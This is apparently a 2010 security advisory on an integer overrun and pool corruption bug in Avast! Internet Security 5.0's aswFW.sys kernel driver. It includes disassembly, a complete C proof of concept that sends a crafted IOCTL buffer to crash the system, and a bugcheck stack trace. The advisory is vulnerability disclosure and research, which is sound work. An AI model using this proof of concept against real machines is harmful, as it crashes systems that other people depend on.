+-------------------------------------------------------------------------------------+ | Avast! Internet Security 5.0 'aswFW.sys' kernel driver IOCTL Memory Pool Corruption | +-------------------------------------------------------------------------------------+ Tested Platform: Avast! Internet Security 5.0 ( Korean Trial ) Affacted File info: 'aswFW.sys' 5.0.594.0 Type: Local Impact: Denial Of Service ( kernel panic ) Vendor: http://www.avast.com Author: x90c of InetCop Security ( x90c.org, geinblues@gmail.com ) ====================== Vulnerability Summary: ====================== The IOCTL call 0x829C0964(IOCTL_ASWFW_COMM_PIDINFO_RESULTS) of 'aswFW.sys' kernel driver Shiped with 'Avast! Internet Security 5.0' uses the user controlled First 4 bytes value To allocate a NonPagedPool without any value range checking then an integer overrun occurs. If 'aswFW.sys' received a first 4 bytes about to '0xFFFFFFFF' with an Irp then an invalid Sized Memory Pool allocated. After the invalid allocation, the kernel driver copys user controlled buffer into '[allocated pool+84h]' with too large copy length '0FFFFFFFFh' then the Memory Pool corrupted. ================= Technical Detail: ================= .text:000114B0 ; int __stdcall sub_114B0(int, PIRP Irp) [...] .text:00011529 mov edi, [ebp+Irp] ; edi = Irp [...] .text:000115A9 mov edi, [edi+0Ch] ; edi = [edi+0Ch] ( User Controlled Buffer of Irp ) [...] .text:000115CF sub eax, 0Ch .text:000115D2 jz short to_IOCTL_Request ; jump into (1) [...] .text:00011626 to_IOCTL_Request: ; <-- (1) .text:00011626 mov eax, [ebx+0Ch] ; eax = IOCTL Code [...] .text:00011629 cmp eax, edx .text:0001162B jz to_ioctl_code_829C0964h ; IOCTL Code == 829C0964h ? jump into (2) [...] .text:000116BA to_ioctl_code_829C0964h: ; <-- (2) .text:000116BA call sub_18D68 ; returned 0. .text:000116BF test eax, eax .text:000116C1 jz short loc_116E3 ; jump into (3) [...] .text:000116E3 loc_116E3: ; <-- (3) [...] .text:000116FC push dword ptr [edi] ; [edi] = 0FFFFFFFF ( User Controlled Buffer of Irp ) .text:000116FE push 0 .text:00011700 call NonPagedPool_alloc_1AB32 ; call (4) ; kd> bl ; 0 e b2d36700 0001 (0001) aswFW+0x1700 [...] ============================================================================================== .text:0001AB32 NonPagedPool_alloc_1AB32 proc near ; <-- (4) [...] .text:0001AB37 mov eax, [ebp+0Ch] ; eax = 0FFFFFFFFh ( Second param ) .text:0001AB3A push ebx .text:0001AB3B push 74527741h ; Tag .text:0001AB40 add eax, 88h ; 0FFFFFFFFh + 88h ( 0x87, result of Integer Overrun ) .text:0001AB45 push eax ; Size to allocate ( 0x87 ) .text:0001AB46 push 0 ; PoolType ( 0 = NonPagedPool ) .text:0001AB48 call ds:ExAllocatePoolWithTag ; Invalid Memory Pool allocated. .text:0001AB4E mov ebx, eax ; ebx = eax [...] .text:0001AB7F mov eax, ebx .text:0001AB83 retn 8 ; return with an Invalid Memory Pool. return into (5) ============================================================================================== // Integer Overrun. _87bytes_NonPagedPool = ExAllocatePoolWithTag(0, 0xFFFFFFFF + 0x88, 0x74527741); .text:000116E3 loc_116E3: [...] .text:00011705 mov esi, eax ; <-- (5) esi = eax = Invalid Memory Pool. .text:00011707 test esi, esi .text:00011709 jz to_Epilog ; esi == 0 ? [...] .text:00011727 push dword ptr [edi] ; copy size == 0FFFFFFFFh ( too large ) .text:00011729 lea eax, [esi+84h] ; eax = [esi+84h] == [Invalid Memory Pool Allocated + 84h] .text:0001172F push edi ; src == User Controlled Buffer of Irp ( FFFFFFFF ... ) .text:00011730 push eax ; dest == eax .text:00011731 call memcpy ; Memory Corruption Occurs. // Memory Pool Corruption. memcpy((_87bytes_NonPagedPool+0x84), User Controlled Buffer of Irp, 0xFFFFFFFF); ================= Proof of Concept: ================= [ avast_5.0_aswFW_poc.cpp ] -- #include "stdafx.h" #include "windows.h" #include "winioctl.h" #include "stdio.h" int main(void) { HANDLE hFile = NULL; ULONG ioctl_code = 0; CHAR outBuf[32]; CHAR rpt_inBuf[102400]; DWORD dwRet = 0, ret = 0; hFile = CreateFile("\\\\.\\aswFW", FILE_SHARE_READ | FILE_SHARE_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE){ fprintf(stderr, "failed to open 'aswFW.sys' kernel driver!\n"); return(-1); } rpt_inBuf[0] = '\xff'; // first 4 byte wiil uses calculate rpt_inBuf[1] = '\xff'; // allication size of ExAllocatePoolWithTag. rpt_inBuf[2] = '\xff'; // and it is [Irp+0Ch] as User Controlled Buffer. rpt_inBuf[3] = '\xff'; memset((rpt_inBuf+4), 0xff, 102394); // IOCTL Code = 0x829C0964 ( IOCTL_ASWFW_COMM_PIDINFO_RESULTS ) // ( another IOCTL Code also vulnerable ) ret = DeviceIoControl(hFile, 0x829C0964, (PVOID)rpt_inBuf, 102398, outBuf, 32, &dwRet, NULL); return 0; } // -- eoc -- =============== Exploitability: =============== It's hard to exploit because 'too large copy length'. I saw *once eip register pointers At 0x1000 but the controlling eip register is not consistent. ( DoS ) -- STACK_TEXT: f8ac5944 804f9bad 00000003 f8ac5ca0 00000000 nt!RtlpBreakWithStatusInstruction f8ac5990 804fa79a 00000003 00001000 00001000 nt!KiBugCheckDebugBreak+0x19 f8ac5d70 805426bb 0000000a 00001000 00000009 nt!KeBugCheck2+0x574 f8ac5d70 00001000 0000000a 00001000 00000009 nt!KiTrap0E+0x233 WARNING: Frame IP not in any known module. Following frames may be wrong. f8ac5e00 f871bf6c 00000001 00000200 0000011c 0x1000 f8ac5e58 8054357d 81d6fd98 81e72af8 00010009 i8042prt!I8042KeyboardInterruptService+0x100 f8ac5e58 804fcd56 81d6fd98 81e72af8 00010009 nt!KiInterruptDispatch+0x3d f8ac5f00 f8502ab6 81da5b60 0006bd78 81da5bb8 nt!KeRemoveByKeyDeviceQueue+0x2e f8ac5f20 f850423b 81daa0e8 81da5bb8 81da5c60 atapi!GetNextLuRequest+0x7c f8ac5f54 f8504c8e 81df7e70 81da5c60 f8ac5fcf atapi!IdeProcessCompletedRequest+0x1a3 f8ac5fd0 80543bbd 81daa0a4 81daa030 00000000 atapi!IdePortCompletionDpc+0x204 f8ac5ff4 8054388a b20e7b44 00000000 00000000 nt!KiRetireDpcList+0x46 f8ac5ff8 b20e7b44 00000000 00000000 00000000 nt!KiDispatchInterrupt+0x2a 8054388a 00000000 00000009 bb835675 00000128 0xb20e7b44 -- ========= Solution: ========= Not yet. ============== Vendor Status: ============== 2010/08/02 - Vendor notified. 2010/08/03 - Public Disclosed.